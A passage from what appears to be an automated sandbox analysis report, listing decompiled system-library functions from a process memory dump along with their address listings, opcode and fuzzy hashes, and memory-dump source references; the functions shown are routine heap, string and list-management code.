Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 5A314875A015C6BFD708DBB0C490BD9F799FF86200F04876AC41D9B241DB387A49C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CA70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E1E3CA70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x1e487b10; // 0x10
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x1e487b10 = 8;
					 *0x1e487b14 = 0x1e487b0c;
					 *0x1e487b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x11
					E1E3CA990(0x1e487b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L1E3CA840(__edx, __ecx, __ecx, _t52, 0x1e487b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x1e487b10; // 0x10
					_t3 = _t37 + 0x27; // 0x37
					__eflags = _t3 >> 5 -  *0x1e487b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0x1e487b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x37
						_v8 = _t4 >> 5;
						_t50 = L1E3B4620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x1e487b18 = _v8;
						_t8 = _t52 + 7; // 0x17
						E1E3DF3E0(_t50,  *0x1e487b14, _t8 >> 3);
						_t28 =  *0x1e487b14; // 0x77f07b0c
						__eflags = _t28 - 0x1e487b0c;
						if(_t28 != 0x1e487b0c) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x18
						 *0x1e487b14 = _t50;
						_t48 = _v12;
						 *0x1e487b10 = _t9;
						goto L6;
					}
					 *0x1e487b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x1e3ca713
0x1e3ca714
0x1e3ca717
0x1e3ca71d
0x1e3ca720
0x1e3ca722
0x1e3ca727
0x1e3ca74a
0x1e3ca754
0x1e3ca75e
0x1e3ca768
0x1e3ca76a
0x1e3ca773
0x1e3ca78b
0x1e3ca790
0x1e3ca792
0x1e3ca741
0x1e3ca741
0x1e3ca743
0x1e3ca749
0x1e3ca749
0x1e3ca732
0x1e3ca73a
0x1e3ca797
0x1e3ca79d
0x1e3ca7a3
0x1e3ca7a9
0x1e3ca7b6
0x1e3ca7bc
0x1e3ca7ca
0x1e3ca7e0
0x1e3ca7e2
0x1e3ca7e4
0x1e409bf2
0x00000000
0x1e409bf2
0x1e3ca7ed
0x1e3ca7f2
0x1e3ca800
0x1e3ca805
0x1e3ca80d
0x1e3ca812
0x1e409c08
0x1e409c08
0x1e3ca818
0x1e3ca81b
0x1e3ca821
0x1e3ca824
0x00000000
0x1e3ca824
0x1e3ca7ae
0x00000000
0x1e3ca7ae
0x1e3ca73c
0x1e3ca73e
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12624b6167b85cc92ee820ffb70f20fb75390533af843dcb4a406eccd95a9c37
Instruction ID: 76b1f2a3c925219989b6db1c12d68a4bda14bdf3df67b7c582d547f5deac9e13
Opcode Fuzzy Hash: 12624b6167b85cc92ee820ffb70f20fb75390533af843dcb4a406eccd95a9c37
Instruction Fuzzy Hash: 3431EEB1600214DBC702CF98D8E8F557BFAFB84354F000A5AE016C7244E771ED62CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E39AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E1E39AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x1e48d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x1e487b9c; // 0x0
					_t53 = L1E3B4620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E1E3DB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E1E3DF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L1E3A6C59(_t53, _t51, _t58) != 0) {
							_t28 = E1E3C5E50(0x1e37c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E1E3CB230(_v32, _v28, 0x1e37c2d8, 1,  &_v24);
								_t28 = E1E39F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x1e39aa25
0x1e39aa29
0x1e39aa2d
0x1e39aa30
0x1e39aa37
0x1e39aa3c
0x1e3f4458
0x1e3f4458
0x1e3f4472
0x1e3f4474
0x1e3f4476
0x1e39aa64
0x1e39aa74
0x1e3f447c
0x1e3f4483
0x1e3f4492
0x1e39aa52
0x1e39aa54
0x1e39aa5e
0x1e3f44a8
0x1e3f44ad
0x1e3f44af
0x1e3f44b6
0x1e3f44b6
0x1e3f44b9
0x1e3f44bc
0x1e3f44cd
0x1e3f44d3
0x1e3f44d6
0x1e3f44e1
0x1e3f44e1
0x1e3f44e6
0x1e3f44e8
0x1e3f44fb
0x1e3f44fb
0x1e3f44e8
0x00000000
0x1e39aa5e
0x1e3f4476
0x1e39aa42
0x1e39aa46
0x1e39aa48
0x1e39aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13bc4d20c60e34517f6dcd339b79282d363ecf06117dbde25cd4f712ae530a88
Instruction ID: 041afd6a36c3681e3ce2cc95bc9667d5c623d395079f78df26b0c6d52f4c255b
Opcode Fuzzy Hash: 13bc4d20c60e34517f6dcd339b79282d363ecf06117dbde25cd4f712ae530a88
Instruction Fuzzy Hash: C031D171900259ABCF059F64CD81ABFB3B9EF44700F01466AF801EB250EB39AD51DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C61A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1E3C61A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E1E3C5E50(0x1e3767cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E1E469D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E1E39F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x1e3c61b3
0x1e3c61b5
0x1e3c61bd
0x1e3c61c3
0x1e3c61c7
0x1e3c61d2
0x1e3c61ff
0x1e3c61ff
0x1e3c6201
0x1e3c6207
0x1e3c6207
0x1e3c61d4
0x1e3c61d9
0x00000000
0x00000000
0x1e3c61df
0x1e3c61e2
0x00000000
0x00000000
0x1e3c61e6
0x1e3c61e8
0x1e3c61ee
0x1e3c61ee
0x1e3c61f9
0x1e40762f
0x1e407632
0x1e407635
0x1e407639
0x1e407640
0x1e40766e
0x1e407675
0x00000000
0x00000000
0x1e407681
0x1e407689
0x1e40768d
0x1e407691
0x1e407695
0x1e407699
0x1e4076af
0x1e4076b5
0x1e4076b7
0x1e4076b7
0x1e4076d7
0x1e4076dc
0x00000000
0x1e4076dc
0x1e4076a2
0x1e4076a9
0x1e407651
0x1e407653
0x1e407653
0x1e407656
0x1e407656
0x00000000
0x1e407656
0x1e407644
0x1e407646
0x1e407648
0x1e407648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12384aa09f5ba893df8f46873ca43ce2d5d1d165792adb873795ba76a137a7f5
Instruction ID: 8e689eefbdde1eb4955a0fcf708701e24337b0daa3347145141761dc13bdebea
Opcode Fuzzy Hash: 12384aa09f5ba893df8f46873ca43ce2d5d1d165792adb873795ba76a137a7f5
Instruction Fuzzy Hash: 25318A716097418FD310DF19C854B6AB7EAFB88B10F014A7EE9999B351E7B0EC44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D8EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E1E3D8EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x1e48d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E1E3C4E70(0x1e4886e4, 0x1e3d9490, 0, 0);
					if( *0x1e4853e8 > 5 && E1E3D8F33(0x1e4853e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x1e4853e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x1e4853e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x1e37bc46;
						_t48 = E1E417B9C(0x1e4853e8, 0x1e37bc46, _t67, 0x1e4853e8, _t70,  &_v140);
					}
				}
				return E1E3DB640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x1e3d8ec7
0x1e3d8ed9
0x1e3d8edc
0x1e3d8ee6
0x1e3d8ee9
0x1e3d8eee
0x1e3d8efc
0x1e3d8f08
0x1e411349
0x1e411353
0x1e41135d
0x1e411366
0x1e41136f
0x1e411375
0x1e41137c
0x1e411385
0x1e411390
0x1e411391
0x1e41139c
0x1e41139d
0x1e4113a6
0x1e4113ac
0x1e4113b2
0x1e4113b5
0x1e4113bc
0x1e4113bf
0x1e4113c2
0x1e4113c5
0x1e4113c8
0x1e4113cb
0x1e4113ce
0x1e4113d1
0x1e4113d4
0x1e4113d7
0x1e4113da
0x1e4113dd
0x1e4113e0
0x1e4113e3
0x1e4113e6
0x1e4113e9
0x1e4113f6
0x1e411400
0x1e411400
0x1e3d8f08
0x1e3d8f32

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe35a6b6499f844b2c7ec88d2760bbe8cabb540d388ef25b2849789e5e80d7e9
Instruction ID: 7650ee6de68333cd2acbe59fac8e9e2581fa87650402c4cf9950e21c70211a0d
Opcode Fuzzy Hash: fe35a6b6499f844b2c7ec88d2760bbe8cabb540d388ef25b2849789e5e80d7e9
Instruction Fuzzy Hash: B841A1B5D003589EDB14CFAAD980AADFBF9BB48710F9042AEE509E7600D7746A44CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CE730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E1E3CE730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E1E3D9670() < 0) {
					E1E3EDF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x1e487b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L1E3B4620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M1E3CE810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x1e3ce730
0x1e3ce736
0x1e3ce738
0x1e3ce73d
0x1e3ce73e
0x1e3ce740
0x1e3ce749
0x1e3ce765
0x1e3ce76a
0x1e3ce76b
0x1e3ce76c
0x1e3ce76d
0x1e3ce76e
0x1e3ce76f
0x1e3ce775
0x1e3ce777
0x1e3ce77e
0x1e40b675
0x1e3ce784
0x1e3ce784
0x1e3ce789
0x1e3ce7a8
0x1e3ce7ac
0x1e3ce807
0x1e3ce7ae
0x1e3ce7ae
0x1e3ce7b1
0x1e3ce7b4
0x1e3ce7b9
0x1e3ce7c0
0x1e3ce7c4
0x1e3ce7ca
0x1e3ce7cc
0x00000000
0x1e3ce7d3
0x1e3ce7d6
0x00000000
0x00000000
0x1e3ce7ff
0x1e3ce802
0x00000000
0x00000000
0x1e3ce7f9
0x1e3ce7fc
0x00000000
0x00000000
0x1e3ce7f3
0x1e3ce7f6
0x00000000
0x00000000
0x1e3ce7ed
0x1e3ce7f0
0x00000000
0x00000000
0x1e3ce7e7
0x1e3ce7ea
0x00000000
0x00000000
0x1e40b685
0x1e40b688
0x00000000
0x00000000
0x1e40b682
0x00000000
0x00000000
0x1e3ce7cc
0x1e3ce7d9
0x1e3ce7dc
0x1e3ce7de
0x1e3ce7de
0x1e3ce7ac
0x1e3ce7e4
0x1e3ce74b
0x1e3ce751
0x1e3ce759
0x1e3ce761
0x1e3ce761

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac349234814020d2be20e493f3ad108240bcf0fc9d0d2c088a2626a52974551
Instruction ID: d588140b29c339570fcc26e783881e75c78eebcb228a59f9efcace484e7b5581
Opcode Fuzzy Hash: fac349234814020d2be20e493f3ad108240bcf0fc9d0d2c088a2626a52974551
Instruction Fuzzy Hash: CB319E75A14249EFD704CF69C844F96BBE8FB08314F148666F908CB741E631ED90CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CBC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E1E3CBC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x1e486100; // 0x66
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E1E3B2280(0xd, 0x9769f1a0);
				_t41 =  *0x1e4860f8; // 0x0
				if(_t41 != 0) {
					 *0x1e4860f8 =  *_t41;
					 *0x1e4860fc =  *0x1e4860fc + 0xffff;
				}
				E1E3AFFB0(_t41, 0x800, 0x9769f1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x1e4860f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L1E3B4620(0x1e486100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x1e486100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x1e3cbc36
0x1e3cbc42
0x1e3cbc45
0x1e3cbc4a
0x1e3cbd35
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3cbc50
0x1e3cbc50
0x1e3cbc58
0x1e3cbc5a
0x1e3cbc60
0x00000000
0x00000000
0x1e40a4f2
0x1e40a4f6
0x00000000
0x00000000
0x00000000
0x1e40a4fc
0x1e3cbc79
0x1e3cbc7e
0x1e3cbc86
0x1e3cbd16
0x1e3cbd20
0x1e3cbd20
0x1e3cbc8d
0x1e3cbc94
0x1e3cbcbd
0x1e3cbcca
0x1e3cbccb
0x1e3cbccc
0x1e3cbccd
0x1e3cbcce
0x1e3cbcd4
0x1e3cbcea
0x1e3cbcee
0x1e3cbcf2
0x1e3cbd00
0x1e3cbd04
0x00000000
0x1e3cbc96
0x1e3cbcab
0x1e3cbcaf
0x1e3cbd2c
0x1e3cbd2c
0x1e3cbd09
0x00000000
0x1e3cbd09
0x1e3cbcb1
0x1e3cbcb5
0x1e3cbcbb
0x00000000
0x00000000
0x00000000
0x1e3cbcbb

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ae31400070254f310373ebf19f312d2d21bf40eec147af376001601ef620da
Instruction ID: 27aec0ee9239ace59440fe7cf78423f3afc76ed321b19d6b2561824ad0dbc60a
Opcode Fuzzy Hash: 62ae31400070254f310373ebf19f312d2d21bf40eec147af376001601ef620da
Instruction Fuzzy Hash: 26310336A10665DBCB42DF98D4C0B9633B8EF09314F018ABADC46DF241EB74ED059B90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C1DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1E3C1DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E1E3BF460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L1E3B4620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E1E3BF460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x1e3c1dc2
0x1e3c1dc5
0x1e3c1dc7
0x1e3c1dcc
0x1e3c1dce
0x1e3c1dd6
0x1e3c1ddf
0x1e3c1de0
0x1e3c1de1
0x1e3c1de5
0x1e3c1de8
0x1e3c1def
0x1e3c1df0
0x1e3c1df6
0x1e3c1df7
0x1e3c1dfe
0x1e3c1e1a
0x00000000
0x00000000
0x1e3c1e0b
0x1e3c1e12
0x1e3c1e12
0x1e3c1e00
0x1e3c1e00
0x1e3c1e05
0x1e3c1e1e
0x1e3c1e23
0x1e40570f
0x1e405713
0x00000000
0x00000000
0x1e405719
0x1e405719
0x1e3c1e2c
0x1e3c1e2d
0x1e3c1e2e
0x1e3c1e2f
0x1e3c1e31
0x1e3c1e32
0x1e3c1e35
0x1e3c1e3d
0x1e405723
0x1e40573d
0x1e40573d
0x00000000
0x1e405723
0x1e3c1e49
0x1e3c1e4e
0x1e3c1e4e
0x1e3c1e09
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 808a3a483c98e88d4d1f89cef9d19b118189db071afe0a2b221a8956aab1071a
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: 63219C75A00159EBC721CFA9CC80EAABBBDEF85640F114266E905DB210D635EE01EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E399100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1E399100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x1e46f6e8);
				E1E3ED0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E1E4688F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E1E3ED130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x1e4886c0; // 0x8507b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x1e4886b8; // 0x8a26e8
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E1E3B2280(_t82 + 0xe0, _t82 + 0xe0);
